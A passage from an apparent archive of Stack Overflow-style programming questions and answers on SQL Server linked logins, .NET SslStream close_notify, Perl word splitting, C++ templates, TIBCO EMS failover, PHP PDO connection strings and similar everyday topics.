CloseHandle(IntPtr handle); protected override bool ReleaseHandle() { return CloseHandle(handle); } } } </code></pre>
32,320
<p>I want to create a linked server in one sql server to another using the sp_addlinkedserver procedure. When i access the remote server I would like it to logon as me (i.e. using my windows account). How do I do this?</p>
<p>You can do this with the sp_addlinkedsrvlogin procedure:</p> <pre><code>EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname=N'&lt;your linked server name&gt;', @useself=N'True', @locallogin=NULL, @rmtuser=NULL, @rmtpassword=NULL </code></pre> <p>This assumes you log in to the server on which the link was created using Windows authentication.</p>
<p>Use SQL Management Studio to see the properties for the linked server. There you will find your logon information</p>
44,234
<p>How do I turn a python program into an .egg file?</p>
<p><a href="http://peak.telecommunity.com/DevCenter/setuptools" rel="noreferrer">Setuptools</a> is the software that creates <a href="http://peak.telecommunity.com/DevCenter/PythonEggs" rel="noreferrer">.egg files</a>. It's an extension of the <a href="http://docs.python.org/lib/module-distutils.html" rel="noreferrer"><code>distutils</code></a> package in the standard library.</p> <p>The process involves creating a <code>setup.py</code> file, then <code>python setup.py bdist_egg</code> creates an .egg package.</p>
<p>Python has its own package for creating distributions that is called distutils. However instead of using Python’s distutils’ setup function, we’re using setuptools’ setup. We’re also using setuptools’ find_packages function which will automatically look for any packages in the current directory and add them to the egg. To create said egg, you’ll need to run the following from the command line:</p> <pre><code>c:\Python34\python.exe setup.py bdist_egg </code></pre>
7,161
<p>What type of stream I need to use to write a connect request message over a tcp socket, to jabber. I'mwriting a string with xml format. It should worked with the default socket stream or a dataoutputstream but it doesn't.</p>
<p>Use the <a href="http://www.igniterealtime.org/projects/smack/index.jsp" rel="nofollow noreferrer">Smack</a> client library to connect to a Jabber server, such as OpenFire. It is quite simple to use, you can connect and send/receive messages in a few lines of code.</p>
<p>Jabber is a pretty comprehensive protocol, so I don't think it's really analogous to opening a stream. On the other hand, it's a very well supported protocol, so you have your choice of libraries to help. Here is a link to the relevant information on <a href="http://www.jabber.org/web/Libraries#Java" rel="nofollow noreferrer">jabber.org</a>.</p>
23,808
<p>I have an application that has Powershell 1 embedded into it, but we need to be able to use Powershell STAThreaded which is available in Powershell 2 CTP. Currently, System.Management.Automation is at 1.0.0.0. Does anyone know how to get Visual Studio to use the newer dll?</p>
<p>I'll look into it, but you realize that there is absolutely no guarantee that anything in the CTP will stay the way that it is right now? Most likely it will, but I wouldn't develop against it right now.</p> <p>EDIT: As a matter of fact this is a quote from the CTP download page:</p> <blockquote> <p><strong>This software is a pre-release version. It will not work the way a final version of the software does. Features will change before final release.</strong></p> </blockquote>
<p>I'm not sure if you can yet, to use powershell V1.0 you needed to download "Windows SDK for Windows Server 2008 and .NET Framework 3.5" to get the dll file that you referenced. You would now need to find a SDK that has the dll for the CPT file(Maybe the CPT includes the dll, I think it's called System.Management.Automation.dll in the V1.0 version).</p> <p>Good Luck</p>
24,817
<p>.NET's <code>SslStream</code> class does not send the <code>close_notify</code> alert before closing the connection.</p> <p>How can I send the <code>close_notify</code> alert manually?</p>
<p>Thanks for this question. It pointed me into the right direction, that there is a bug in .Net, which I do not very often think about.</p> <p>I bumped into this problem during writing of my implementation of FTPS server and Filezilla (or GnuTLS probably) client was complaining "GnuTLS error -110 in gnutls_record_recv: The TLS connection was non-properly terminated". I think it is a quite significant drawback in SslStream implementation.</p> <p>So I ended up with writing a wrapper which sends this alert before closing the stream:</p> <pre><code>public class FixedSslStream : SslStream { public FixedSslStream(Stream innerStream) : base(innerStream) { } public FixedSslStream(Stream innerStream, bool leaveInnerStreamOpen) : base(innerStream, leaveInnerStreamOpen) { } public FixedSslStream(Stream innerStream, bool leaveInnerStreamOpen, RemoteCertificateValidationCallback userCertificateValidationCallback) : base(innerStream, leaveInnerStreamOpen, userCertificateValidationCallback) { } public FixedSslStream(Stream innerStream, bool leaveInnerStreamOpen, RemoteCertificateValidationCallback userCertificateValidationCallback, LocalCertificateSelectionCallback userCertificateSelectionCallback) : base(innerStream, leaveInnerStreamOpen, userCertificateValidationCallback, userCertificateSelectionCallback) { } public FixedSslStream(Stream innerStream, bool leaveInnerStreamOpen, RemoteCertificateValidationCallback userCertificateValidationCallback, LocalCertificateSelectionCallback userCertificateSelectionCallback, EncryptionPolicy encryptionPolicy) : base(innerStream, leaveInnerStreamOpen, userCertificateValidationCallback, userCertificateSelectionCallback, encryptionPolicy) { } public override void Close() { try { SslDirectCall.CloseNotify(this); } finally { base.Close(); } } } </code></pre> <p>And the following code is to make it working (this code requires assembly to be 'unsafe'):</p> <pre><code>public unsafe static class SslDirectCall { public static void CloseNotify(SslStream sslStream) { if (sslStream.IsAuthenticated) { bool isServer = sslStream.IsServer; byte[] result; int resultSz; var asmbSystem = typeof(System.Net.Authorization).Assembly; int SCHANNEL_SHUTDOWN = 1; var workArray = BitConverter.GetBytes(SCHANNEL_SHUTDOWN); var sslstate = ReflectUtil.GetField(sslStream, "_SslState"); var context = ReflectUtil.GetProperty(sslstate, "Context"); var securityContext = ReflectUtil.GetField(context, "m_SecurityContext"); var securityContextHandleOriginal = ReflectUtil.GetField(securityContext, "_handle"); NativeApi.SSPIHandle securityContextHandle = default(NativeApi.SSPIHandle); securityContextHandle.HandleHi = (IntPtr)ReflectUtil.GetField(securityContextHandleOriginal, "HandleHi"); securityContextHandle.HandleLo = (IntPtr)ReflectUtil.GetField(securityContextHandleOriginal, "HandleLo"); var credentialsHandle = ReflectUtil.GetField(context, "m_CredentialsHandle"); var credentialsHandleHandleOriginal = ReflectUtil.GetField(credentialsHandle, "_handle"); NativeApi.SSPIHandle credentialsHandleHandle = default(NativeApi.SSPIHandle); credentialsHandleHandle.HandleHi = (IntPtr)ReflectUtil.GetField(credentialsHandleHandleOriginal, "HandleHi"); credentialsHandleHandle.HandleLo = (IntPtr)ReflectUtil.GetField(credentialsHandleHandleOriginal, "HandleLo"); int bufferSize = 1; NativeApi.SecurityBufferDescriptor securityBufferDescriptor = new NativeApi.SecurityBufferDescriptor(bufferSize); NativeApi.SecurityBufferStruct[] unmanagedBuffer = new NativeApi.SecurityBufferStruct[bufferSize]; fixed (NativeApi.SecurityBufferStruct* ptr = unmanagedBuffer) fixed (void* workArrayPtr = workArray) { securityBufferDescriptor.UnmanagedPointer = (void*)ptr; unmanagedBuffer[0].token = (IntPtr)workArrayPtr; unmanagedBuffer[0].count = workArray.Length; unmanagedBuffer[0].type = NativeApi.BufferType.Token; NativeApi.SecurityStatus status; status = (NativeApi.SecurityStatus)NativeApi.ApplyControlToken(ref securityContextHandle, securityBufferDescriptor); if (status == NativeApi.SecurityStatus.OK) { unmanagedBuffer[0].token = IntPtr.Zero; unmanagedBuffer[0].count = 0; unmanagedBuffer[0].type = NativeApi.BufferType.Token; NativeApi.SSPIHandle contextHandleOut = default(NativeApi.SSPIHandle); NativeApi.ContextFlags outflags = NativeApi.ContextFlags.Zero; long ts = 0; var inflags = NativeApi.ContextFlags.SequenceDetect | NativeApi.ContextFlags.ReplayDetect | NativeApi.ContextFlags.Confidentiality | NativeApi.ContextFlags.AcceptExtendedError | NativeApi.ContextFlags.AllocateMemory | NativeApi.ContextFlags.InitStream; if (isServer) { status = (NativeApi.SecurityStatus)NativeApi.AcceptSecurityContext(ref credentialsHandleHandle, ref securityContextHandle, null, inflags, NativeApi.Endianness.Native, ref contextHandleOut, securityBufferDescriptor, ref outflags, out ts); } else { status = (NativeApi.SecurityStatus)NativeApi.InitializeSecurityContextW(ref credentialsHandleHandle, ref securityContextHandle, null, inflags, 0, NativeApi.Endianness.Native, null, 0, ref contextHandleOut, securityBufferDescriptor, ref outflags, out ts); } if (status == NativeApi.SecurityStatus.OK) { byte[] resultArr = new byte[unmanagedBuffer[0].count]; Marshal.Copy(unmanagedBuffer[0].token, resultArr, 0, resultArr.Length); Marshal.FreeCoTaskMem(unmanagedBuffer[0].token); result = resultArr; resultSz = resultArr.Length; } else { throw new InvalidOperationException(string.Format("AcceptSecurityContext/InitializeSecurityContextW returned [{0}] during CloseNotify.", status)); } } else { throw new InvalidOperationException(string.Format("ApplyControlToken returned [{0}] during CloseNotify.", status)); } } var innerStream = (Stream)ReflectUtil.GetProperty(sslstate, "InnerStream"); innerStream.Write(result, 0, resultSz); } } } </code></pre> <p>Windows API used:</p> <pre><code>public unsafe static class NativeApi { internal enum BufferType { Empty, Data, Token, Parameters, Missing, Extra, Trailer, Header, Padding = 9, Stream, ChannelBindings = 14, TargetHost = 16, ReadOnlyFlag = -2147483648, ReadOnlyWithChecksum = 268435456 } [StructLayout(LayoutKind.Sequential, Pack = 1)] internal struct SSPIHandle { public IntPtr HandleHi; public IntPtr HandleLo; public bool IsZero { get { return this.HandleHi == IntPtr.Zero &amp;&amp; this.HandleLo == IntPtr.Zero; } } [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] internal void SetToInvalid() { this.HandleHi = IntPtr.Zero; this.HandleLo = IntPtr.Zero; } public override string ToString() { return this.HandleHi.ToString("x") + ":" + this.HandleLo.ToString("x"); } } [StructLayout(LayoutKind.Sequential)] internal class SecurityBufferDescriptor { public readonly int Version; public readonly int Count; public unsafe void* UnmanagedPointer; public SecurityBufferDescriptor(int count) { this.Version = 0; this.Count = count; this.UnmanagedPointer = null; } } [StructLayout(LayoutKind.Sequential)] internal struct SecurityBufferStruct { public int count; public BufferType type; public IntPtr token; public static readonly int Size = sizeof(SecurityBufferStruct); } internal enum SecurityStatus { OK, ContinueNeeded = 590610, CompleteNeeded, CompAndContinue, ContextExpired = 590615, CredentialsNeeded = 590624, Renegotiate, OutOfMemory = -2146893056, InvalidHandle, Unsupported, TargetUnknown, InternalError, PackageNotFound, NotOwner, CannotInstall, InvalidToken, CannotPack, QopNotSupported, NoImpersonation, LogonDenied, UnknownCredentials, NoCredentials, MessageAltered, OutOfSequence, NoAuthenticatingAuthority, IncompleteMessage = -2146893032, IncompleteCredentials = -2146893024, BufferNotEnough, WrongPrincipal, TimeSkew = -2146893020, UntrustedRoot, IllegalMessage, CertUnknown, CertExpired, AlgorithmMismatch = -2146893007, SecurityQosFailed, SmartcardLogonRequired = -2146892994, UnsupportedPreauth = -2146892989, BadBinding = -2146892986 } [Flags] internal enum ContextFlags { Zero = 0, Delegate = 1, MutualAuth = 2, ReplayDetect = 4, SequenceDetect = 8, Confidentiality = 16, UseSessionKey = 32, AllocateMemory = 256, Connection = 2048, InitExtendedError = 16384, AcceptExtendedError = 32768, InitStream = 32768, AcceptStream = 65536, InitIntegrity = 65536, AcceptIntegrity = 131072, InitManualCredValidation = 524288, InitUseSuppliedCreds = 128, InitIdentify = 131072, AcceptIdentify = 524288, ProxyBindings = 67108864, AllowMissingBindings = 268435456, UnverifiedTargetName = 536870912 } internal enum Endianness { Network, Native = 16 } [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] [DllImport("secur32.dll", ExactSpelling = true, SetLastError = true)] internal static extern int ApplyControlToken(ref SSPIHandle contextHandle, [In] [Out] SecurityBufferDescriptor outputBuffer); [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] [DllImport("secur32.dll", ExactSpelling = true, SetLastError = true)] internal unsafe static extern int AcceptSecurityContext(ref SSPIHandle credentialHandle, ref SSPIHandle contextHandle, [In] SecurityBufferDescriptor inputBuffer, [In] ContextFlags inFlags, [In] Endianness endianness, ref SSPIHandle outContextPtr, [In] [Out] SecurityBufferDescriptor outputBuffer, [In] [Out] ref ContextFlags attributes, out long timeStamp); [ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)] [DllImport("secur32.dll", ExactSpelling = true, SetLastError = true)] internal unsafe static extern int InitializeSecurityContextW(ref SSPIHandle credentialHandle, ref SSPIHandle contextHandle, [In] byte* targetName, [In] ContextFlags inFlags, [In] int reservedI, [In] Endianness endianness, [In] SecurityBufferDescriptor inputBuffer, [In] int reservedII, ref SSPIHandle outContextPtr, [In] [Out] SecurityBufferDescriptor outputBuffer, [In] [Out] ref ContextFlags attributes, out long timeStamp); } </code></pre> <p>Reflection utilities:</p> <pre><code>public static class ReflectUtil { public static object GetField(object obj, string fieldName) { var tp = obj.GetType(); var info = GetAllFields(tp) .Where(f =&gt; f.Name == fieldName).Single(); return info.GetValue(obj); } public static void SetField(object obj, string fieldName, object value) { var tp = obj.GetType(); var info = GetAllFields(tp) .Where(f =&gt; f.Name == fieldName).Single(); info.SetValue(obj, value); } public static object GetStaticField(Assembly assembly, string typeName, string fieldName) { var tp = assembly.GetType(typeName); var info = GetAllFields(tp) .Where(f =&gt; f.IsStatic) .Where(f =&gt; f.Name == fieldName).Single(); return info.GetValue(null); } public static object GetProperty(object obj, string propertyName) { var tp = obj.GetType(); var info = GetAllProperties(tp) .Where(f =&gt; f.Name == propertyName).Single(); return info.GetValue(obj, null); } public static object CallMethod(object obj, string methodName, params object[] prm) { var tp = obj.GetType(); var info = GetAllMethods(tp) .Where(f =&gt; f.Name == methodName &amp;&amp; f.GetParameters().Length == prm.Length).Single(); object rez = info.Invoke(obj, prm); return rez; } public static object NewInstance(Assembly assembly, string typeName, params object[] prm) { var tp = assembly.GetType(typeName); var info = tp.GetConstructors() .Where(f =&gt; f.GetParameters().Length == prm.Length).Single(); object rez = info.Invoke(prm); return rez; } public static object InvokeStaticMethod(Assembly assembly, string typeName, string methodName, params object[] prm) { var tp = assembly.GetType(typeName); var info = GetAllMethods(tp) .Where(f =&gt; f.IsStatic) .Where(f =&gt; f.Name == methodName &amp;&amp; f.GetParameters().Length == prm.Length).Single(); object rez = info.Invoke(null, prm); return rez; } public static object GetEnumValue(Assembly assembly, string typeName, int value) { var tp = assembly.GetType(typeName); object rez = Enum.ToObject(tp, value); return rez; } private static IEnumerable&lt;FieldInfo&gt; GetAllFields(Type t) { if (t == null) return Enumerable.Empty&lt;FieldInfo&gt;(); BindingFlags flags = BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance | BindingFlags.DeclaredOnly; return t.GetFields(flags).Concat(GetAllFields(t.BaseType)); } private static IEnumerable&lt;PropertyInfo&gt; GetAllProperties(Type t) { if (t == null) return Enumerable.Empty&lt;PropertyInfo&gt;(); BindingFlags flags = BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance | BindingFlags.DeclaredOnly; return t.GetProperties(flags).Concat(GetAllProperties(t.BaseType)); } private static IEnumerable&lt;MethodInfo&gt; GetAllMethods(Type t) { if (t == null) return Enumerable.Empty&lt;MethodInfo&gt;(); BindingFlags flags = BindingFlags.Public | BindingFlags.NonPublic | BindingFlags.Static | BindingFlags.Instance | BindingFlags.DeclaredOnly; return t.GetMethods(flags).Concat(GetAllMethods(t.BaseType)); } } </code></pre> <p>I am not experienced in writing reliable interaction with unmanaged environment, so I hope somebody can have a look and fix issues (and maybe make it 'safe').</p>
<p>For the record, SslStream at least in .NET 2.0 also doesn't appear to response to a close_notify from the other side. This means that calling OpenSSL's SSL_Shutdown() properly, i.e. twice - once to initiate the shutdown and again to wait for the response - will hang on the second call.</p>
29,420
<p>I have an array of 1000 or so entries, with examples below:</p> <pre><code>wickedweather liquidweather driveourtrucks gocompact slimprojector </code></pre> <p>I would like to be able to split these into their respective words, as:</p> <pre><code>wicked weather liquid weather drive our trucks go compact slim projector </code></pre> <p>I was hoping a regular expression my do the trick. But, since there is no boundary to stop on, nor is there any sort of capitalization that I could possibly key on, I am thinking, that some sort of reference to a dictionary might be necessary? </p> <p>I suppose it could be done by hand, but why - when it can be done with code! =) But this has stumped me. Any ideas? </p>
<p>Can a human do it?</p> <pre> farsidebag far sidebag farside bag far side bag </pre> <p>Not only do you have to use a dictionary, you might have to use a statistical approach to figure out what's most likely (or, god forbid, an actual HMM for your human language of choice...)</p> <p>For how to do statistics that might be helpful, I turn you to Dr. Peter Norvig, who addresses a different, but related problem of spell-checking <strong><em>in 21 lines of code</em></strong>: <a href="http://norvig.com/spell-correct.html" rel="noreferrer">http://norvig.com/spell-correct.html</a></p> <p>(he does cheat a bit by folding every for loop into a single line.. but still).</p> <p><strong><em>Update</em></strong> This got stuck in my head, so I had to birth it today. This code does a similar split to the one described by Robert Gamble, but then it orders the results based on word frequency in the provided dictionary file (which is now expected to be some text representative of your domain or English in general. I used big.txt from Norvig, linked above, and catted a dictionary to it, to cover missing words).</p> <p>A combination of two words will most of the time beat a combination of 3 words, unless the frequency difference is enormous.</p> <hr> <p><strong>I posted this code with some minor changes on my blog</strong></p> <p><a href="http://squarecog.wordpress.com/2008/10/19/splitting-words-joined-into-a-single-string/" rel="noreferrer">http://squarecog.wordpress.com/2008/10/19/splitting-words-joined-into-a-single-string/</a> and also wrote a little about the underflow bug in this code.. I was tempted to just quietly fix it, but figured this may help some folks who haven't seen the log trick before: <a href="http://squarecog.wordpress.com/2009/01/10/dealing-with-underflow-in-joint-probability-calculations/" rel="noreferrer">http://squarecog.wordpress.com/2009/01/10/dealing-with-underflow-in-joint-probability-calculations/</a></p> <hr> <p>Output on your words, plus a few of my own -- notice what happens with "orcore":</p> <pre> perl splitwords.pl big.txt words answerveal: 2 possibilities - answer veal - answer ve al wickedweather: 4 possibilities - wicked weather - wicked we at her - wick ed weather - wick ed we at her liquidweather: 6 possibilities - liquid weather - liquid we at her - li quid weather - li quid we at her - li qu id weather - li qu id we at her driveourtrucks: 1 possibilities - drive our trucks gocompact: 1 possibilities - go compact slimprojector: 2 possibilities - slim projector - slim project or orcore: 3 possibilities - or core - or co re - orc ore </pre> <p>Code:</p> <pre><code>#!/usr/bin/env perl use strict; use warnings; sub find_matches($); sub find_matches_rec($\@\@); sub find_word_seq_score(@); sub get_word_stats($); sub print_results($@); sub Usage(); our(%DICT,$TOTAL); { my( $dict_file, $word_file ) = @ARGV; ($dict_file &amp;&amp; $word_file) or die(Usage); { my $DICT; ($DICT, $TOTAL) = get_word_stats($dict_file); %DICT = %$DICT; } { open( my $WORDS, '&lt;', $word_file ) or die "unable to open $word_file\n"; foreach my $word (&lt;$WORDS&gt;) { chomp $word; my $arr = find_matches($word); local $_; # Schwartzian Transform my @sorted_arr = map { $_-&gt;[0] } sort { $b-&gt;[1] &lt;=&gt; $a-&gt;[1] } map { [ $_, find_word_seq_score(@$_) ] } @$arr; print_results( $word, @sorted_arr ); } close $WORDS; } } sub find_matches($){ my( $string ) = @_; my @found_parses; my @words; find_matches_rec( $string, @words, @found_parses ); return @found_parses if wantarray; return \@found_parses; } sub find_matches_rec($\@\@){ my( $string, $words_sofar, $found_parses ) = @_; my $length = length $string; unless( $length ){ push @$found_parses, $words_sofar; return @$found_parses if wantarray; return $found_parses; } foreach my $i ( 2..$length ){ my $prefix = substr($string, 0, $i); my $suffix = substr($string, $i, $length-$i); if( exists $DICT{$prefix} ){ my @words = ( @$words_sofar, $prefix ); find_matches_rec( $suffix, @words, @$found_parses ); } } return @$found_parses if wantarray; return $found_parses; } ## Just a simple joint probability ## assumes independence between words, which is obviously untrue ## that's why this is broken out -- feel free to add better brains sub find_word_seq_score(@){ my( @words ) = @_; local $_; my $score = 1; foreach ( @words ){ $score = $score * $DICT{$_} / $TOTAL; } return $score; } sub get_word_stats($){ my ($filename) = @_; open(my $DICT, '&lt;', $filename) or die "unable to open $filename\n"; local $/= undef; local $_; my %dict; my $total = 0; while ( &lt;$DICT&gt; ){ foreach ( split(/\b/, $_) ) { $dict{$_} += 1; $total++; } } close $DICT; return (\%dict, $total); } sub print_results($@){ #( 'word', [qw'test one'], [qw'test two'], ... ) my ($word, @combos) = @_; local $_; my $possible = scalar @combos; print "$word: $possible possibilities\n"; foreach (@combos) { print ' - ', join(' ', @$_), "\n"; } print "\n"; } sub Usage(){ return "$0 /path/to/dictionary /path/to/your_words"; } </code></pre>
<p>I may get downmodded for this, but <strong>have the secretary do it</strong>.</p> <p>You'll spend more time on a dictionary solution than it would take to manually process. Further, you won't possibly have 100% confidence in the solution, so you'll still have to give it manual attention anyway.</p>
23,691
<p>I have the following problem using template instantiation [*]. </p> <p>file <strong>foo.h</strong></p> <pre><code>class Foo { public: template &lt;typename F&gt; void func(F f) private: int member_; }; </code></pre> <p>file <strong>foo.cc</strong></p> <pre><code>template &lt;typename F&gt; Foo::func(F f) { f(member_); } </code></pre> <p>file <strong>caller.cc</strong></p> <pre><code>Foo::func(boost::bind(&amp;Bar::bar_func, bar_instance, _1)); </code></pre> <p>While this compiles fine, the linker complains about an undefined symbol:</p> <p><code>void Foo::func&lt;boost::_bi::bind_t...&gt;</code></p> <p>How can I instantiate the <em>function</em> <code>Foo::func</code>? Since it takes a function as argument, I am little bit confused. I tried to add an instantiation function in <strong>foo.cc</strong>, as I am used to with regular <em>non-function</em> types:</p> <pre><code>instantiate() { template&lt;&gt; void Foo::func&lt;boost::function&lt;void(int)&gt; &gt;(boost::function&lt;void(int)&gt;); } </code></pre> <p>Obviously, this does not work. I would appreciate if someone can point me in the right direction.</p> <p>Thanks!</p> <p>[*] Yes, I read the parashift FAQ lite.</p>
<p>The answer to this is compiler dependent. Some versions of the Sun C++ compiler would handle this automatically by building a cache of template function implementations that would be shared across separate translation units. </p> <p>If you're using Visual C++, and any other compiler that can't do this, you may as well put the function definition in the header.</p> <p>Don't worry about duplicate definitions if the header is included by multiple .cc files. The compiler marks template-generated methods with a special attribute so the linker knows to throw away duplicates instead of complaining. This is one reason why C++ has the "one definition rule".</p> <p><strong>Edit:</strong> The above comments apply in the general case where your template must be capable of linking given any type parameters. If you know a closed set of types that clients will use, you can ensure they are available by using explicit instantiation in the template's implementation file, which will cause the compiler to generate definitions for other files to link against. But in the general case where your template needs to work with types possibly only known to the client, then there is little point in separating the template into a header file and and implementation file; any client needs to include both parts anyway. If you want to isolate clients from complex dependencies, hide those dependencies behind non-templated functions and then call into them from the template code.</p>
<p>I believe Earwicker is correct. The problem with explicitly instantiating the template member function func in this case is that the type returned by boost::bind is implementation dependent. It is <em>not</em> a boost::function. A boost::function can <em>contain</em> a boost:bind because it has a template assignment operator that deduces the type of the right-hand side (the boost::bind result). In this particular use of func in caller.cc, with this particular implementation of boost, the type of the boost::bind is actually they type mentioned in the linker error between the &lt; and > (ie. <code>boost::_bi::bind_t...</code>). But explicitly instantiating func for that type probably will have portability problems.</p>
28,223
<p>We have a TIBCO EMS solution that uses built-in server failover in a 2-4 server environment. If the TIBCO admins fail-over services from one EMS server to another, connections are supposed to be transfered to the new server automatically at the EMS service level. For our C# applications using the EMS service, this is not happening - our user connections are not being transfered to the new server after failover and we're not sure why.</p> <p>Our application connection to EMS at startup only so if the TIBCO admins failover after users have started our application, they users need to restart the app in order to reconnect to the new server (our EMS connection uses a server string including all 4 production EMS servers - if the first attempt fails, it moves to the next server in the string and tries again).</p> <p>I'm looking for an automated approach that will attempt to reconnect to EMS periodically if it detects that the connection is dead but I'm not sure how best to do that.</p> <p>Any ideas? We are using TIBCO.EMS.dll version 4.4.2 and .Net 2.x (SmartClient app)</p> <p>Any help would be appreciated.</p>
<p><em>This post should sum up my current comments and explain my approach in more detail...</em></p> <p>The TIBCO 'ConnectionFactory' and 'Connection' types are heavyweight, thread-safe types. TIBCO suggests that you maintain the use of <strong>one</strong> ConnectionFactory (per server configured factory) and <strong>one</strong> Connection per factory.</p> <p>The server also <em>appears</em> to be responsible for in-place 'Connection' failover and re-connection, so let's confirm it's doing its job and then lean on that feature.</p> <p>Creating a client side solution is going to be slightly more involved than fixing a server or client setup problem. All sessions you have created from a failed connection need to be re-created (not to mention producers, consumers, and destinations). There are no "reconnect" or "refresh" methods on either type. The sessions do not maintain a reference to their parent connection either.</p> <p>You will have to manage a lookup of connection/session objects and go nuts re-initializing everyone! or implement some sort of session failure event handler that can get the new connection and reconnect them.</p> <p>So, for now, let's dig in and see if the client is setup to receive failover notification (tib ems users guide pg 292). And make sure the raised exception is caught, contains the failover URL, and is being handled properly.</p>
<p>Client applications may receive notification of a failover by setting the tibco.tibjms.ft.switch.exception system property</p> <p>Perhaps the library needs that to work?</p>
22,765
<p>I'm not very experienced at using ASP.NET, but I've used built in membership providers for simple WebForms application, and I found them PITA when trying to extend the way they work (add/remove few fields and redo controls accordingly). Now I'm preparing for MVC (ASP.NET MVC or Monorail based) project, and I'm thinking - is there a better way to handle users? Have them log in/log out, keep certain parts of the site available to certain users (like logged in users, or something similar to "share this with friends" feature of many social networking sites, where you can designate users that have access to certain things. How best to acheave this in the way that will scale well?</p> <hr> <p>I guess, I wasn't clear on that. To rephrase my question: Would you use standard ASP.NET membership provider for a web-facing app, or something else (what)?</p>
<p>The Membership Provider in ASP.NET is very handy and extensible. It's simple to use the "off the shelf" features like Active Directory, SQL Server, and OpenLDAP. The main advantage is the ability to not reinvent the wheel. If your needs are more nuanced than that you can build your own provider by extending overriding the methods that the ASP.NET controls use.</p> <p>I am building my own Custom Membership Provider for an e-commerce website. Below are some resources for more information on Membership Providers. I asked myself the same questions when I start that project.</p> <p>These resources were useful to me for my decision:</p> <ul> <li><a href="http://www.devx.com/asp/Article/29256" rel="nofollow noreferrer">Writing a Custom Membership Provider</a> - DevX</li> <li><a href="http://www.asp.net/learn/videos/video-189.aspx" rel="nofollow noreferrer">How do I create a Customer Membership Provider</a> - ASP.NET, Microsoft</li> <li><a href="http://msdn.microsoft.com/en-us/library/f1kyba5e.aspx" rel="nofollow noreferrer">Implementing a Membership Provider</a> - MSDN</li> <li><a href="https://web.archive.org/web/20210513220018/http://aspnet.4guysfromrolla.com/articles/120705-1.aspx" rel="nofollow noreferrer">Examining ASP.NET 2.0's Membership, Roles, and Profile</a> - 4GuysFromRolla</li> <li><a href="http://davidhayden.com/blog/dave/archive/2007/10/11/CreateCustomMembershipProviderASPNETWebsiteSecurity.aspx" rel="nofollow noreferrer">Create Custom Membership Provider for ASP.NET Website Security</a> - David Hayden</li> <li><a href="http://channel9.msdn.com/posts/trobbins/Setting-up-a-Custom-Membership-Provider/" rel="nofollow noreferrer">Setting up a Custom Membership Provider</a> - Channel 9</li> </ul> <p>I personally don't think there is a need to use something other than the builtin stuff unless you either want to abuse yourself or your needs are impossible to satisfy by the builtin functionality.</p>
<p>Have you considered using ActiveDirectory for this? Or, perhaps, <a href="http://www.voxgratia.org/docs/windows_openldap.html" rel="nofollow noreferrer">OpenLDAP</a>? You can manage each user's groups, permissions, 'authority', and so on.</p>
20,378
<p>When I connect to a MySQL database using PDO, the way I need to connect is:</p> <pre><code>$pdoConnection = new PDO("mysql:host=hostname;dbname=databasename",user,password); </code></pre> <p>But, for PostgreSQL, the DSN is more standard (IMO):</p> <pre><code>$pdoConnection = new PDO("pgsql:host=hostname;dbname=databasename;user=username;password=thepassword"); </code></pre> <p>Is there any reason why MySQL cannot use a single string? Or is this just because of the versions I am using (PHP 5.2, MySQL 5.0, PostgreSQL 8.1)?</p>
<p>As the person that implemented both, I can tell you that the reason is that by passing the string through as-is to postgres (and ODBC) the PDO driver code for those databases does not need to be updated as the underlying library adds new features.</p> <p>Since MySQL does not have its own connection string parsing code, we invented a mechanism for passing data in to the underlying MySQL function calls, which have a very specific API with fixed parameters.</p> <p>No accident; it's very deliberate.</p>
<p>This question is more than 10 years old, but I still end up here every time I create a new project that uses PDO... I'm writing my solution here so that I can save myself the trouble next time :P</p> <pre class="lang-php prettyprint-override"><code>class MyPDO extends PDO { public function __construct($dsn, $options = null) { $user=null; $pass=null; if (preg_match("/user=([^;]*)/", $dsn, $matches)) { $user=$matches[1]; } if (preg_match("/password=([^;]*)/", $dsn, $matches)) { $pass=$matches[1]; } parent::__construct($dsn, $user, $pass, $options); } } </code></pre>
29,378
<p>I have an object created in a host application and can access it remotely using remoting, is there any way I can test the connection to ensure it is still "alive"? Maybe an event I can use that fires if the remoting connection gets disconnected, or some property that can tell me the state of the remoting connection. Is there something like this available?</p>
<p>I generally add another method to the remoting server MarshallByRef class, (I generally name it Ping(), as in: </p> <pre><code> public void Ping() {} </code></pre> <p>that does nothing, and returns nothing.. Then to "test" my connection, I call this method... If it throws a System.Net.Sockets.Exception, I have lost the connection.... </p>
<p>What benefit will you have to check the connection? Even if you ping it, it does not mean that in the next moment the connection will still be alive when you make your remoting call.</p> <p>Just try/catch you remoting calls and you will know.</p> <p>This type of checks are meaningless (net connection, file locking, etc.). As the state of the thing you check can change immediately after the check. You just tray, and cleanup/retry if it fails.</p>
36,580
<p>In Win32, is there any way to get a unique cpu cycle count or something similar that would be uniform for multiple processes/languages/systems/etc.</p> <p>I'm creating some log files, but have to produce multiple logfiles because we're hosting the .NET runtime, and I'd like to avoid calling from one to the other to log. As such, I was thinking I'd just produce two files, combine them, and then sort them, to get a coherent timeline involving cross-world calls.</p> <p>However, GetTickCount does not increase for every call, so that's not reliable. Is there a better number, so that I get the calls in the right order when sorting?</p> <hr> <p><strong>Edit</strong>: Thanks to <a href="https://stackoverflow.com/users/893/greg-hewgill">@Greg</a> that put me on the track to QueryPerformanceCounter, which did the trick.</p>
<p>You can use the <a href="http://en.wikipedia.org/wiki/RDTSC" rel="noreferrer">RDTSC</a> CPU instruction (assuming x86). This instruction gives the CPU cycle counter, but be aware that it will increase very quickly to its maximum value, and then reset to 0. As the Wikipedia article mentions, you might be better off using the <a href="http://msdn.microsoft.com/en-us/library/ms644904.aspx" rel="noreferrer">QueryPerformanceCounter</a> function.</p>
<p>Use the GetTickCount and add another counter as you merge the log files. Won't give you perfect sequence between the different log files, but it will at least keep all logs from each file in the correct order.</p>
16,815
<p>What is the window which is displayed when you first install Eclipse called, and how can I find it?</p>
<p>Help -> Welcome</p> <p>That thing?</p>
<p>Do you mean the splash screen?</p> <p>You can change it if you need (for example, your own RCP or a version of Eclipse like IBM's WSAD). Read about branding your application</p> <p>(eg.,<a href="http://www.eclipse.org/articles/Article-Branding/branding-your-application.html" rel="nofollow noreferrer">http://www.eclipse.org/articles/Article-Branding/branding-your-application.html</a>)</p>
17,447
